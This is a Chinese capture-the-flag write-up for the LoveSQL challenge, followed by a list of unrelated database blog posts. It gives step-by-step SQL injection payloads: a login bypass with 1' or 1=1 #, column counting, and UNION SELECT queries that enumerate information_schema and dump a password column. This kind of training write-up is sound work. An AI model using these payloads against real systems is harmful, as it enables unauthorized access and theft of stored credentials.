sql注入 [极客大挑战 2019]LoveSQL 1

打开题目

几次尝试,发现输1 1",页面都会回显NO,Wrong username password!!!

只有输入1',页面报错,说明是单引号的字符型注入

那我们万能密码试试能不能登录

1' or 1=1 #

成功登录

得到账号和密码

我们登录一下发现什么也没有

爆破列名字段数

1' order by 4 # 页面报错

但是1' order by 3 #时

页面没有报错,说明列名字段数为3

爆破数据显示位

1' union select 1,2,3 #

可以得到数据显示位为2和3

接着我们爆破数据库名

1' union select 1,2,database() #

得到数据库名为geek

爆破表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #

当前数据库下的所有表名有

爆破列名

在这里我们先试试l0ve1ysq1表

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

得到其表下有三个字段

我们直接爆破password字段试试下面有没有flag

1' union select 1,2,group_concat(password) from l0ve1ysq1 #

得到数据

直接查看源代码得到flag

相关推荐
冬奇Lab8 小时前
每日一个开源项目(第134篇):Zvec - 阿里开源的嵌入式向量数据库,向量搜索界的 SQLite
数据库·人工智能·llm
ClouGence19 小时前
Oracle CDC 架构优化:从主库直连到 DataGuard 备库同步
数据库·后端·oracle
无响应de神21 小时前
三、用户与权限管理
数据库·mysql
麦聪聊数据2 天前
数据服务化时代:企业数据能力输出的核心路径
数据库
shushangyun_2 天前
2026年快消品B2B系统推荐:支持终端门店订货、促销政策自动化的工具?
java·运维·网络·数据库·人工智能·spring·自动化
DARLING Zero two♡2 天前
【MySQL数据库】数据类型与表约束
数据库·mysql
曹牧2 天前
Oracle EXPLAIN PLAN
数据库·oracle
BD_Marathon2 天前
SQL学习指南——视图
数据库·sql
活宝小娜2 天前
mysql详细安装教程
数据库·mysql·adb
贤时间2 天前
codex 助力oracle ebs 开发
数据库·oracle